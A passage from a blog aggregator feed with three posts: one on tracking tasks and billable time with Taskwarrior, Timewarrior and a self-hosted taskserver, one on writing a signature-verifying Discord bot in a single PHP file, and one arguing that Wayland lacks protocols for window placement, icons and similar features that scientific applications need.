have some support for time tracking, but when I’ve tried <code>vim</code>-based
versions of Org mode in the past I’ve found they haven’t really fitted my
brain very well.</p>
<h2>Taskwarrior and Timewarrior</h2>
<p>One of the other Freexian collaborators mentioned
<a href="https://taskwarrior.org/">Taskwarrior</a> and
<a href="https://timewarrior.net/">Timewarrior</a>, so I had a look at those.</p>
<p>The basic idea of Taskwarrior is that you have a <code>task</code> command that tracks
each task as a blob of <span class="caps">JSON</span> and provides subcommands to let you add, modify,
and remove tasks with a minimum of friction. <code>task add</code> adds a task, and
you can add metadata like <code>project:Personal</code> (I always make sure every task
has a project, for ease of filtering). Just running <code>task</code> shows you a task
list sorted by Taskwarrior’s idea of urgency, with an <span class="caps">ID</span> for each task, and
there are various other reports with different filtering and verbosity.
<code>task <id> annotate</code> lets you attach more information to a task. <code>task <id>
done</code> marks it as done. So far so good, so a redacted version of my to-do
list looks like this:</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>task<span class="w"> </span>ls
ID<span class="w"> </span>A<span class="w"> </span>Project<span class="w"> </span>Tags<span class="w"> </span>Description
<span class="m">17</span><span class="w"> </span>Freexian<span class="w"> </span>Add<span class="w"> </span>Incus<span class="w"> </span>support<span class="w"> </span>to<span class="w"> </span>autopkgtest<span class="w"> </span><span class="o">[</span><span class="m">2</span><span class="o">]</span>
<span class="w"> </span><span class="m">7</span><span class="w"> </span>Columbiform<span class="w"> </span>Figure<span class="w"> </span>out<span class="w"> </span>Lloyds<span class="w"> </span>online<span class="w"> </span>banking<span class="w"> </span><span class="o">[</span><span class="m">1</span><span class="o">]</span>
<span class="w"> </span><span class="m">2</span><span class="w"> </span>Debian<span class="w"> </span>Fix<span class="w"> </span>troffcvt<span class="w"> </span><span class="k">for</span><span class="w"> </span>groff<span class="w"> </span><span class="m">1</span>.23.0<span class="w"> </span><span class="o">[</span><span class="m">1</span><span class="o">]</span>
<span class="m">11</span><span class="w"> </span>Personal<span class="w"> </span>Replace<span class="w"> </span>living<span class="w"> </span>room<span class="w"> </span>curtain<span class="w"> </span>rail
</code></pre></div>
<p>Once I got comfortable with it, this was already a big improvement. I
haven’t bothered to learn all the filtering gadgets yet, but it was easy
enough to see that I could do something like <code>task all project:Personal</code> and
it’d show me both pending and completed tasks in that project, and that all
the data was stored in <code>~/.task</code> - though I have to say that there are
enough reporting bells and whistles that I haven’t needed to poke around
manually. In combination with the regular backups that I do anyway (you do
too, right?), this gave me enough confidence to abandon my previous
text-file logbook approach.</p>
<p>Next was time tracking. Timewarrior integrates with Taskwarrior, albeit in
<a href="https://timewarrior.net/docs/taskwarrior/">an only semi-packaged way</a>, and
it was easy enough to set that up. Now I can do:</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>task<span class="w"> </span><span class="m">25</span><span class="w"> </span>start
Starting<span class="w"> </span>task<span class="w"> </span>00a9516f<span class="w"> </span><span class="s1">'Write blog post about task tracking'</span>.
Started<span class="w"> </span><span class="m">1</span><span class="w"> </span>task.
Note:<span class="w"> </span><span class="s1">'"Write blog post about task tracking"'</span><span class="w"> </span>is<span class="w"> </span>a<span class="w"> </span>new<span class="w"> </span>tag.
Tracking<span class="w"> </span>Columbiform<span class="w"> </span><span class="s2">"Write blog post about task tracking"</span>
<span class="w"> </span>Started<span class="w"> </span><span class="m">2024</span>-01-10T11:28:38
<span class="w"> </span>Current<span class="w"> </span><span class="m">38</span>
<span class="w"> </span>Total<span class="w"> </span><span class="m">0</span>:00:00
You<span class="w"> </span>have<span class="w"> </span>more<span class="w"> </span>urgent<span class="w"> </span>tasks.
Project<span class="w"> </span><span class="s1">'Columbiform'</span><span class="w"> </span>is<span class="w"> </span><span class="m">25</span>%<span class="w"> </span><span class="nb">complete</span><span class="w"> </span><span class="o">(</span><span class="m">3</span><span class="w"> </span>of<span class="w"> </span><span class="m">4</span><span class="w"> </span>tasks<span class="w"> </span>remaining<span class="o">)</span>.
</code></pre></div>
<p>When I stop work on something, I do <code>task active</code> to find the <span class="caps">ID</span>, then <code>task
<id> stop</code>. Timewarrior does the tedious stopwatch business for me, and I
can manually enter times if I forget to start/stop a task. Then the really
useful bit: I can do something like <code>timew summary :month <name-of-client></code>
and it tells me how much to bill that client for this month. Perfect.</p>
<p>I also started using <a href="https://github.com/vit-project/vit"><span class="caps">VIT</span></a> to simplify
the day-to-day flow a little, which means I’m normally just using one or two
keystrokes rather than typing longer commands. That isn’t really necessary
from my point of view, but it does save some time.</p>
<h2>Android integration</h2>
<p>I left Android integration for a bit later since it wasn’t essential. When
I got round to it, I have to say that it felt a bit clumsy, but it did
eventually work.</p>
<p>The first step was to <a href="https://gothenburgbitfactory.github.io/taskserver-setup/">set up a
taskserver</a>. Most
of the setup procedure was <span class="caps">OK</span>, but I wanted to use Let’s Encrypt to minimize
the amount of messing around with CAs I had to do. Getting this to work
involved hitting things with sticks a bit, and there’s still a local <span class="caps">CA</span>
involved for client certificates. What I ended up with was a <code>certbot</code>
setup with the <code>webroot</code> authenticator and a custom deploy hook as follows
(with <code>cert_name</code> replaced by a <span class="caps">DNS</span> name in my house domain):</p>
<div class="highlight"><pre><span></span><code><span class="ch">#! /bin/sh</span>
<span class="nb">set</span><span class="w"> </span>-eu
<span class="nv">cert_name</span><span class="o">=</span>taskd.example.org
<span class="nv">found</span><span class="o">=</span><span class="nb">false</span>
<span class="k">for</span><span class="w"> </span>domain<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="nv">$RENEWED_DOMAINS</span><span class="p">;</span><span class="w"> </span><span class="k">do</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="s2">"</span><span class="nv">$domain</span><span class="s2">"</span><span class="w"> </span><span class="k">in</span>
<span class="w"> </span><span class="nv">$cert_name</span><span class="o">)</span>
<span class="w"> </span><span class="nv">found</span><span class="o">=</span>:
<span class="w"> </span><span class="p">;;</span>
<span class="w"> </span><span class="k">esac</span>
<span class="k">done</span>
<span class="nv">$found</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="nb">exit</span><span class="w"> </span><span class="m">0</span>
install<span class="w"> </span>-m<span class="w"> </span><span class="m">644</span><span class="w"> </span><span class="s2">"/etc/letsencrypt/live/</span><span class="nv">$cert_name</span><span class="s2">/fullchain.pem"</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>/var/lib/taskd/pki/fullchain.pem
install<span class="w"> </span>-m<span class="w"> </span><span class="m">640</span><span class="w"> </span>-g<span class="w"> </span>Debian-taskd<span class="w"> </span><span class="s2">"/etc/letsencrypt/live/</span><span class="nv">$cert_name</span><span class="s2">/privkey.pem"</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>/var/lib/taskd/pki/privkey.pem
systemctl<span class="w"> </span>restart<span class="w"> </span>taskd.service
</code></pre></div>
<p>I could then set this in <code>/etc/taskd/config</code> (<code>server.crl.pem</code> and
<code>ca.cert.pem</code> were generated using the documented taskserver setup procedure):</p>
<div class="highlight"><pre><span></span><code><span class="n">server</span><span class="o">.</span><span class="n">key</span><span class="o">=/</span><span class="k">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">taskd</span><span class="o">/</span><span class="n">pki</span><span class="o">/</span><span class="n">privkey</span><span class="o">.</span><span class="n">pem</span>
<span class="n">server</span><span class="o">.</span><span class="n">cert</span><span class="o">=/</span><span class="k">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">taskd</span><span class="o">/</span><span class="n">pki</span><span class="o">/</span><span class="n">fullchain</span><span class="o">.</span><span class="n">pem</span>
<span class="n">server</span><span class="o">.</span><span class="n">crl</span><span class="o">=/</span><span class="k">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">taskd</span><span class="o">/</span><span class="n">pki</span><span class="o">/</span><span class="n">server</span><span class="o">.</span><span class="n">crl</span><span class="o">.</span><span class="n">pem</span>
<span class="n">ca</span><span class="o">.</span><span class="n">cert</span><span class="o">=/</span><span class="k">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">taskd</span><span class="o">/</span><span class="n">pki</span><span class="o">/</span><span class="n">ca</span><span class="o">.</span><span class="n">cert</span><span class="o">.</span><span class="n">pem</span>
</code></pre></div>
<p>Then I could set <code>taskd.ca</code> on my laptop to
<code>/usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt</code> and otherwise follow
the client setup instructions, run <code>task sync init</code> to get things started,
and then <code>task sync</code> every so often to sync changes between my laptop and
the taskserver.</p>
<p>I used <a href="https://play.google.com/store/apps/details?id=com.ccextractor.taskwarriorflutter">TaskWarrior
Mobile</a>
as the client. I have to say I wouldn’t want to use that client as my
primary task tracking interface: the setup procedure is clunky even beyond
the necessity of copying a client certificate around, it expects you to give
it a <code>.taskrc</code> rather than having a proper settings interface for that, and
it only seems to let you add a task if you specify a due date for it. It
also lacks Timewarrior integration, so I can only really use it when I don’t
care about time tracking, e.g. personal tasks. But that’s really all I
need, so it meets my minimum requirements.</p>
<h2>Next?</h2>
<p>Considering this is literally the first thing I tried, I have to say I’m
pretty happy with it. There are a bunch of optional extras I haven’t tried
yet, but in general it kind of has the <code>vim</code> nature for me: if I need
something it’s very likely to exist or easy enough to build, but the
features I don’t use don’t get in my way.</p>
<p>I wouldn’t recommend any of this to somebody who didn’t already spend most
of their time in a terminal - but I do. I’m glad people have gone to all
the effort to build this so I didn’t have to.</p>2024-01-17T13:28:19+00:00Colin WatsonStuart Langridge: Making a Discord bot with PHP
https://www.kryogenix.org/days/2024/01/14/making-a-discord-bot-with-php/
<p>Discord have changed the way bots work quite a few times. Recently, though, they built a system that lets you create and register “slash commands” — commands that you can type into the Discord chat and which do things, like <code>/hello</code> — and which are powered by “webhooks”. That is: when someone uses your command, it sends an <span class="caps">HTTP</span> request to a <span class="caps">URL</span> of your choice, and your <span class="caps">URL</span> then responds, and that process powers what your users see in Discord. Importantly, this means that operating a Discord bot does not require a long-running server process. You don’t need to host it somewhere where you worry about the bot process crashing, how you’re going to recover from that, all that stuff. No daemon required. In fact, you can make a complete Discord bot in one single <span class="caps">PHP</span> file. You don’t even need any <span class="caps">PHP</span> libraries. One file, which you upload to your completely-standard shared hosting webspace, the same way you might upload any other simple <span class="caps">PHP</span> thing. Here’s some notes on how I did that.</p>
<p>The <a href="https://discord.com/developers/docs/getting-started">Discord documentation</a> is pretty annoying and difficult to follow; all the stuff you need is in there, somewhere, but it’s often hard to find where, and there’s very little that explains <em>why</em> a thing is the way it is. It’s tough to grasp the “Zen” of how Discord <em>wants</em> you to work with their stuff. But in essence, you’ll need to create a Discord app: <a href="https://discord.com/developers/docs/getting-started#step-1-creating-an-app">follow their instructions</a> to do that. Then, we’ll write our small <span class="caps">PHP</span> file, and upload it; finally, fill in the <span class="caps">URL</span> of that <span class="caps">PHP</span> file as the “interactive endpoint <span class="caps">URL</span>” in your newly-created app’s general information page in the Discord developer admin. You can then add the bot to a server by visiting the <span class="caps">URL</span> from the “<span class="caps">URL</span> generator” for your app in the Discord dev admin.</p>
<p>The <span class="caps">PHP</span> file will get sent blocks of <span class="caps">JSON</span>, which describe what a user is doing — a command they’ve typed, parameters to that command, or whatever — and respond with something which is shown to the user — the text of a message which is your bot’s reply, or a command to alter the text of a previous message, or add a clickable button to it, and the like. I won’t go into detail about all the things you can do here (if that would be interesting, let me know and maybe I’ll write a followup or two), but the basic structure of your bot needs to be that it <strong>authenticates</strong> the incoming request from Discord, it <strong>interprets</strong> that request, and it <strong>responds</strong> to that request.</p>
<p>Authentication first. When you create your app, you get a <code>client_public_key</code> value, a big long string of hex digits that will look like <code>c78c32c3c7871369fa67</code> or whatever. Your <span class="caps">PHP</span> file needs to know this value somehow. (How you do that is up to you; think of this like a MySQL username and password, and handle this the same way you do those.) Then, every request that comes in will have two important <span class="caps">HTTP</span> headers: <code>X-Signature-ED25519</code> and <code>X-Signature-Timestamp</code>. You use a combination of these (which provide a signature for the incoming request) and your public key to check whether the request is legitimate. There are <span class="caps">PHP</span> libraries to do this, but fortunately we don’t need them; <span class="caps">PHP</span> has the relevant <a href="https://www.php.net/manual/en/function.sodium-crypto-sign-verify-detached.php">signature verification</a> stuff built in, these days. So, to read the content of the incoming post and verify the signature on it:</p>
<div class="highlight"><pre><span></span><code><span class="x">/* read the incoming request data */</span>
<span class="x">$postData = file_get_contents('php://input');</span>
<span class="x">/* get the signature and timestamp header values */</span>
<span class="x">$signature = isset($_SERVER['HTTP_X_SIGNATURE_ED25519']) ? </span>
<span class="x"> $_SERVER['HTTP_X_SIGNATURE_ED25519'] : "";</span>
<span class="x">$timestamp = isset($_SERVER['HTTP_X_SIGNATURE_TIMESTAMP']) ? </span>
<span class="x"> $_SERVER['HTTP_X_SIGNATURE_TIMESTAMP'] : "";</span>
<span class="x">/* check the signature */</span>
<span class="x">$sigok = sodium_crypto_sign_verify_detached(</span>
<span class="x"> hex2bin($signature), </span>
<span class="x"> $timestamp . $postData,</span>
<span class="x"> hex2bin($client_public_key));</span>
<span class="x">/* If signature is not OK, reject the request */</span>
<span class="x">if (!$sigok) {</span>
<span class="x"> http_response_code(401);</span>
<span class="x"> die();</span>
<span class="x">}</span>
</code></pre></div>
<p>We need to correctly reject invalidly signed requests, because Discord will check that we do — they will occasionally send test requests with bad signatures to confirm that you’re doing the check. (They do this when you first add the <span class="caps">URL</span> to the Discord admin screens; if it won’t let you save the settings, then it’s because Discord thinks your <span class="caps">URL</span> returned the wrong thing. This is annoying, because you have no idea <em>why</em> Discord didn’t like it; best bet is to add lots of <code>error_log()</code> logging of inputs and outputs to your <span class="caps">PHP</span> file and inspect the results carefully.)</p>
<p>Next, interpret the incoming request and do things with it. The only thing we have to respond to here is a <code>ping</code> message; Discord will send them as part of their irregular testing, and expects to get back a correctly-formatted <code>pong</code> message.</p>
<div class="highlight"><pre><span></span><code><span class="x">$data = json_decode($postData);</span>
<span class="x">if ($data->type == 1) { // this is a ping message</span>
<span class="x"> echo json_encode(array('type' => 1)); // response: pong</span>
<span class="x"> die();</span>
<span class="x">}</span>
</code></pre></div>
<p>The magic numbers there (1 for a <code>ping</code>, 1 for a <code>pong</code>) are both defined in the Discord docs (incoming values being the <a href="https://discord.com/developers/docs/interactions/receiving-and-responding#interaction-object-interaction-type">“Interaction Type” field</a> and outgoing values the <a href="https://discord.com/developers/docs/interactions/receiving-and-responding#interaction-response-object-interaction-callback-type">“Interaction Callback Type”</a>.)</p>
<p>After that, the world’s approximately your oyster. You check the incoming <code>type</code> field for the type of incoming thing this is — a slash command, a button click in a message, whatever — and respond appropriately. This is all stuff for future posts if there’s interest, but the docs (in particular the <a href="https://discord.com/developers/docs/interactions/receiving-and-responding">“receiving and responding</a> and <a href="https://discord.com/developers/docs/interactions/message-components">“message components”</a> sections) have all the detail. For your bot to provide a slash command, you have to <a href="https://discord.com/developers/docs/interactions/application-commands#registering-a-command">register it first</a>, which is a faff; I wrote a little Python script to do that. You only have to do it once. The script looks approximately like this; you’ll need your APP_ID and your BOT_TOKEN from the Discord dashboard.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span><span class="o">,</span> <span class="nn">json</span>
<span class="n">MY_COMMAND</span> <span class="o">=</span> <span class="p">{</span>
<span class="s2">"name"</span><span class="p">:</span> <span class="s1">'doit'</span><span class="p">,</span>
<span class="s2">"description"</span><span class="p">:</span> <span class="s1">'Do the thing'</span><span class="p">,</span>
<span class="s2">"type"</span><span class="p">:</span> <span class="mi">1</span>
<span class="p">}</span>
<span class="n">discord_endpoint</span> <span class="o">=</span> <span class="n">_</span>
<span class="sa">f</span><span class="s2">"https://discord.com/api/v10/applications/</span><span class="si">{</span><span class="n">APP_ID</span><span class="si">}</span><span class="s2">/commands"</span>
<span class="n">requests</span><span class="o">.</span><span class="n">request</span><span class="p">(</span><span class="s2">"PUT"</span><span class="p">,</span> <span class="n">discord_endpoint</span><span class="p">,</span>
<span class="n">json</span><span class="o">=</span><span class="p">[</span><span class="n">MY_COMMAND</span><span class="p">],</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span>
<span class="s2">"Authorization"</span><span class="p">:</span> <span class="sa">f</span><span class="s2">"Bot </span><span class="si">{</span><span class="n">BOT_TOKEN</span><span class="si">}</span><span class="s2">"</span><span class="p">,</span>
<span class="s2">"User-Agent"</span><span class="p">:</span> <span class="s1">'mybotname (myboturl, 1.0.0)'</span><span class="p">,</span>
<span class="p">})</span>
</code></pre></div>
<p>Once you’ve done that, you can use <code>/doit</code> in a channel with your bot in, and your <span class="caps">PHP</span> bot <span class="caps">URL</span> will receive the incoming request for you to process.</p>2024-01-14T21:57:00+00:00silMatthias Klumpp: Wayland really breaks things… Just for now?
https://blog.tenstral.net/2024/01/wayland-really-breaks-things-just-for-now.html
<p>This post is in part a response to an aspect of Nate’s post “<a href="https://pointieststick.com/2023/12/26/does-wayland-really-break-everything/">Does Wayland really break everything?</a>“, but also my reflection on discussing Wayland protocol additions, a unique pleasure that I have been involved with for the past months<sup class="fn" data-fn="ddee6e08-d4f7-4154-a7e3-4d67d99399da"><a href="https://blog.tenstral.net/category/planet/planet-ubuntu/feed#ddee6e08-d4f7-4154-a7e3-4d67d99399da" id="ddee6e08-d4f7-4154-a7e3-4d67d99399da-link">1</a></sup>.</p>
<h3 class="wp-block-heading">Some facts</h3>
<p>Before I start I want to make a few things clear: The Linux desktop will be moving to Wayland<sup class="fn" data-fn="9f1f8a66-e687-4060-b58b-00d1f11bcf16"><a href="https://blog.tenstral.net/category/planet/planet-ubuntu/feed#9f1f8a66-e687-4060-b58b-00d1f11bcf16" id="9f1f8a66-e687-4060-b58b-00d1f11bcf16-link">2</a></sup> – this is a fact at this point (and has been for a while), sticking to X11 makes no sense for future projects. From reading Wayland protocols and working with it at a much lower level than I ever wanted to, it is also very clear to me that Wayland is an exceptionally well-designed core protocol, and so are the additional extension protocols (xdg-shell & Co.). The modularity of Wayland is great, it gives it incredible flexibility and will for sure turn out to be good for the long-term viability of this project (and also provides a path to correct protocol issues in future, if one is found). In other words: Wayland is an amazing foundation to build on, and a lot of its design decisions make a lot of sense!</p>
<p>The shift towards people seeing “Linux” more as an application developer platform, and taking PipeWire and XDG Portals into account when designing for Wayland is also an amazing development and I love to see this – this holistic approach is something I always wanted!</p>
<p>Furthermore, I think Wayland <em>removes</em> a lot of functionality that <em>shouldn’t exist</em> in a modern compositor – and that’s a good thing too! Some of X11’s features and design decisions had clear drawbacks that we shouldn’t replicate. I highly recommend to read Nate’s blog post, it’s very good and goes into more detail. And due to all of this, I firmly believe that any advancement in the Wayland space must come from within the project.</p>
<h3 class="wp-block-heading">But!</h3>
<p>But! Of course there was a “but” coming <img alt="😉" class="wp-smiley" src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f609.png" style="height: 1em;" /> – I think while developing Wayland-as-an-ecosystem we are now entrenched into narrow concepts of how a desktop should work. While discussing Wayland protocol additions, a lot of concepts clash, people from different desktops with different design philosophies debate the merits of those over and over again never reaching any conclusion (just as you will never get an answer out of humans whether sushi or pizza is the clearly superior food, or whether CSD or SSD is better). Some people want to use Wayland as a vehicle to force applications to submit to their desktop’s design philosophies, others prefer the smallest and leanest protocol possible, other developers want the most elegant behavior possible. To be clear, I think those are all very valid approaches.</p>
<p>But this also creates problems: By switching to Wayland compositors, we are already forcing a lot of porting work onto toolkit developers and application developers. This is annoying, but just work that has to be done. It becomes frustrating though if Wayland provides toolkits with absolutely no way to reach their goal in any reasonable way. For Nate’s Photoshop analogy: Of course Linux does not break Photoshop, it is Adobe’s responsibility to port it. But what if Linux was missing a crucial syscall that Photoshop needed for proper functionality and Adobe couldn’t port it without that? In that case it becomes much less clear on who is to blame for Photoshop not being available.</p>
<p>A lot of Wayland protocol work is focused on the environment and design, while applications and work to port them often is considered less. I think this happens because the overlap between application developers and developers of the desktop environments is not necessarily large, and the overlap with people willing to engage with Wayland upstream is even smaller. The combination of Windows developers porting apps to Linux <em>and</em> having involvement with toolkits or Wayland is pretty much nonexistent. So they have less of a voice.</p>
<h3 class="wp-block-heading">A quick detour through the neuroscience research lab</h3>
<p>I have been involved with Freedesktop, GNOME and KDE for an incredibly long time now (more than a decade), but my actual job (besides consulting for Purism) is that of a PhD candidate in a neuroscience research lab (working on the morphology of biological neurons and its relation to behavior). I am mostly involved with three research groups in our institute, which is about 35 people. Most of us do all our data analysis on powerful servers which we connect to using RDP (with KDE Plasma as desktop). Since I joined, I have been pushing the envelope a bit to extend Linux usage to data acquisition and regular clients, and to have our data acquisition hardware interface well with it. Linux brings some unique advantages for use in research, besides the obvious one of having every step of your data management platform introspectable with no black boxes left, a goal I value very highly in research (but this would be its own blogpost).</p>
<p>In terms of operating system usage though, most systems are still Windows-based. Windows is what companies develop for, and what people use by default and are familiar with. The choice of operating system is very strongly driven by application availability, and <a href="https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux">WSL</a> being really good makes this somewhat worse, as it removes the need for people to switch to a real Linux system entirely if there is the occasional software requiring it. Yet, we have a lot more Linux users than before, and use it in many places where it makes sense. I also developed a novel data acquisition software that even runs on Linux-only and uses the abilities of the platform to its fullest extent. All of this resulted in me asking existing software and hardware vendors for Linux support a lot more often. Vendor-customer relationship in science is usually pretty good, and vendors do usually want to help out. Same for open source projects, especially if you offer to do Linux porting work for them… But overall, the ease of use and availability of required applications and their usability rules supreme. Most people are not technically knowledgeable and just want to get their research done in the best way possible, getting the best results with the least amount of friction.</p>
<figure class="wp-block-image size-large is-resized"><a href="https://blog.tenstral.net/wp-content/uploads/2024/01/inthewild_cern.jpg"><img alt="" class="wp-image-2025" height="576" src="https://blog.tenstral.net/wp-content/uploads/2024/01/inthewild_cern-1024x576.jpg" style="width: 840px; height: auto;" width="1024" /></a>KDE/Linux usage at a control station for a particle accelerator at Adlershof Technology Park, Germany, for reference (<a href="https://25years.kde.org/de/">by 25years of KDE</a>)<sup class="fn" data-fn="d38e2c51-f896-4f30-a445-2c34cbddafe5"><a href="https://blog.tenstral.net/category/planet/planet-ubuntu/feed#d38e2c51-f896-4f30-a445-2c34cbddafe5" id="d38e2c51-f896-4f30-a445-2c34cbddafe5-link">3</a></sup></figure>
<h3 class="wp-block-heading">Back to the point</h3>
<p>The point of that story is this: GNOME, KDE, RHEL, Debian or Ubuntu: They all do not matter if the necessary applications are not available for them. And as soon as they are, the easiest-to-use solution wins. There are many facets of “easiest”: In many cases this is RHEL due to Red Hat support contracts being available, in many other cases it is Ubuntu due to its mindshare and ease of use. KDE Plasma is also frequently seen, as it is perceived a bit easier to onboard Windows users with it (among other benefits). Ultimately, it comes down to applications and 3rd-party support though.</p>
<p>Here’s a dirty secret: In many cases, porting an application to Linux is not that difficult. The thing that companies (and FLOSS projects too!) struggle with and will calculate the merits of carefully in advance is whether it is worth the support cost as well as continuous QA/testing. Their staff will have to do all of that work, and they could spend that time on other tasks after all.</p>
<p>So if they learn that “porting to Linux” not only means added testing and support, but also means to choose between the legacy X11 display server that allows for 1:1 porting from Windows or the “new” Wayland compositors that do not support the same features they need, they will quickly consider it not worth the effort at all. I have seen this happen.</p>
<p>Of course many apps use a cross-platform toolkit like Qt, which greatly simplifies porting. But this just moves the issue one layer down, as now the toolkit needs to abstract Windows, macOS and Wayland. And Wayland does not contain features to do certain things or does them very differently from e.g. Windows, so toolkits have no way to actually implement the existing functionality in a way that works on all platforms. So in Qt’s documentation you will often find texts like “works everywhere except for on Wayland compositors or mobile”<sup class="fn" data-fn="3c0e34c4-43ff-47f1-84b4-b99a7d9aac2f"><a href="https://blog.tenstral.net/category/planet/planet-ubuntu/feed#3c0e34c4-43ff-47f1-84b4-b99a7d9aac2f" id="3c0e34c4-43ff-47f1-84b4-b99a7d9aac2f-link">4</a></sup>.</p>
<p>Many missing bits or altered behavior are just <a href="https://en.wikipedia.org/wiki/Paper_cut_bug">papercuts</a>, but those add up. And if users will have a worse experience, this will translate to more support work, or people not wanting to use the software on the respective platform.</p>
<h3 class="wp-block-heading">What’s missing?</h3>
<h4 class="wp-block-heading">Window positioning</h4>
<p>SDI applications with multiple windows are very popular in the scientific world. For data acquisition (for example with microscopes) we often have one monitor with control elements and one larger one with the recorded image. There is also other configurations where multiple signal modalities are acquired, and the experimenter aligns windows exactly in the way they want and expects the layout to be stored and to be loaded upon reopening the application. Even in the image from Adlershof Technology Park above you can see this style of UI design, at mega-scale. Being able to pop-out elements as windows from a single-window application to move them around freely is another frequently used paradigm, and immensely useful with these complex apps.</p>
<p>It is important to note that this is not a legacy design, but in many cases an intentional choice – these kinds of apps work incredibly well on larger screens or many screens and are very flexible (you can have any window configuration you want, and switch between them using the (usually) great window management abilities of your desktop).</p>
<p>Of course, these apps will work terribly on tablets and small form factors, but that is not the purpose they were designed for and nobody would use them that way.</p>
<p>I assumed for sure these features would be implemented at some point, but when it became clear that that would not happen, I created the <a href="https://gitlab.freedesktop.org/wayland/wayland-protocols/-/merge_requests/247">ext-placement</a> protocol which had some good discussion but was ultimately rejected from the <code>xdg</code> namespace. I then tried another solution based on feedback, which turned out not to work for most apps, and now proposed <a href="https://gitlab.freedesktop.org/wayland/wayland-protocols/-/merge_requests/264">xdg-placement (v2)</a> in an attempt to maybe still get some protocol done that we can agree on, exploring more options before pushing the existing protocol for inclusion into the <code>ext</code> Wayland protocol namespace. Meanwhile though, we can not port any application that needs this feature, while at the same time we are switching desktops and distributions to Wayland by default.</p>
<h4 class="wp-block-heading">Window position restoration</h4>
<p>Similarly, a protocol to <a href="https://gitlab.freedesktop.org/wayland/wayland-protocols/-/merge_requests/18">save & restore window positions</a> was already proposed in 2018, 6 years ago now, but it has still not been agreed upon, and may not even help multiwindow apps in its current form. The absence of this protocol means that applications can not restore their former window positions, and the user has to move them to their previous place again and again.</p>
<p>Meanwhile, toolkits can not adopt these protocols and applications can not use them and can not be ported to Wayland without introducing papercuts.</p>
<h4 class="wp-block-heading">Window icons</h4>
<p>Similarly, individual windows can not set their own icons, and not-installed applications can not have an icon at all because there is no desktop-entry file to load the icon from and no icon in the theme for them. You would think this is a niche issue, but for applications that create many windows, providing icons for them so the user can find them is fairly important. Of course it’s not the end of the world if every window has the same icon, but it’s one of those papercuts that make the software slightly less user-friendly. Even applications with fewer windows like LibrePCB <a href="https://gitlab.freedesktop.org/wayland/wayland-protocols/-/issues/52#note_2155885">are affected</a>, so much so that they rather run their app through Xwayland for now.</p>
<p>I decided to address this after I was working on data analysis of image data in a <a href="https://docs.python.org/3/library/venv.html">Python virtualenv</a>, where my code and the Python libraries used created lots of windows all with the default yellow “W” icon, making it impossible to distinguish them at a glance. This is <a href="https://gitlab.freedesktop.org/wayland/wayland-protocols/-/merge_requests/269">xdg-toplevel-icon</a> now, but of course it is an uphill battle where the very premise of needing this is questioned. So applications can not use it yet. </p>
<h4 class="wp-block-heading">Limited window abilities requiring specialized protocols</h4>
<p>Firefox has a <a href="https://support.mozilla.org/en-US/kb/about-picture-picture-firefox">picture-in-picture feature</a>, allowing it to pop out media from a mediaplayer as separate floating window so the user can watch the media while doing other things. On X11 this is easily realized, but on Wayland the restrictions posed on windows necessitate a different solution. The <a href="https://gitlab.freedesktop.org/wayland/wayland-protocols/-/merge_requests/132">xdg-pip</a> protocol was proposed for this specialized usecase, but it is also not merged yet. So this feature does not work as well on Wayland.</p>
<h4 class="wp-block-heading">Automated GUI testing / accessibility / automation</h4>
<p>Automation of GUI tasks is a powerful feature, so is the ability to auto-test GUIs. This is being worked on, with <a href="https://libinput.pages.freedesktop.org/libei/">libei</a> and <a href="https://gitlab.freedesktop.org/ofourdan/xwayland-run">wlheadless-run</a> (and stuff like <a href="https://github.com/ReimuNotMoe/ydotool">ydotool</a> exists too), but we’re not fully there yet.</p>
<h3 class="wp-block-heading">Wayland is frustrating for (some) application authors</h3>
<p>As you see, there is valid applications and valid usecases that can not be ported yet to Wayland with the same feature range they enjoyed on X11, Windows or macOS. So, from an application author’s perspective, Wayland <em>does</em> break things quite significantly, because things that worked before can no longer work and Wayland (the whole stack) does not provide any avenue to achieve the same result.</p>
<p>Wayland does “break” screen sharing, global hotkeys, gaming latency (via “no tearing”) etc, however for all of these there are solutions available that application authors can port to. And most developers will gladly do that work, especially since the newer APIs are usually a lot better and more robust. But if you give application authors no path forward except “use Xwayland and be on emulation as second-class citizen forever”, it just results in very frustrated application developers.</p>
<p>For some application developers, switching to a Wayland compositor is like buying a canvas from the Linux shop that forces your brush to only draw triangles. But maybe for your avant-garde art, you need to draw a circle. You can approximate one with triangles, but it will never be as good as the artwork of your friends who got their canvases from the Windows or macOS art supply shop and have more freedom to create their art.</p>
<h3 class="wp-block-heading">Triangles are proven to be the best shape! If you are drawing circles you are creating bad art!</h3>
<p>Wayland, via its protocol limitations, forces a certain way to build application UX – often for the better, but also sometimes to the detriment of users and applications. The protocols are often fairly opinionated, a result of the lessons learned from X11. In any case though, it is the odd one out – Windows and macOS do not pose the same limitations (for better or worse!), and the effort to port to Wayland is orders of magnitude bigger, or sometimes in case of the multiwindow UI paradigm impossible to achieve to the same level of polish. Desktop environments of course have a design philosophy that they want to push, and want applications to integrate as much as possible (same as macOS and Windows!). However, there are many applications out there, and pushing a design via protocol limitations will likely just result in fewer apps.</p>
<h3 class="wp-block-heading">The porting dilemma</h3>
<p>I spent probably way too much time looking into how to get applications cross-platform and running on Linux, often talking to vendors (FLOSS and proprietary) as well. Wayland limitations aren’t the biggest issue by far, but they do start to come come up now, especially in the scientific space with Ubuntu having switched to Wayland by default. For application authors there is often no way to address these issues. Many scientists do not even understand why their Python script that creates some GUIs suddenly behaves weirdly because Qt is now using the Wayland backend on Ubuntu instead of X11. They do not know the difference and also do not want to deal with these details – even though they may be programmers as well, the real goal is not to fiddle with the display server, but to get to a scientific result somehow.</p>
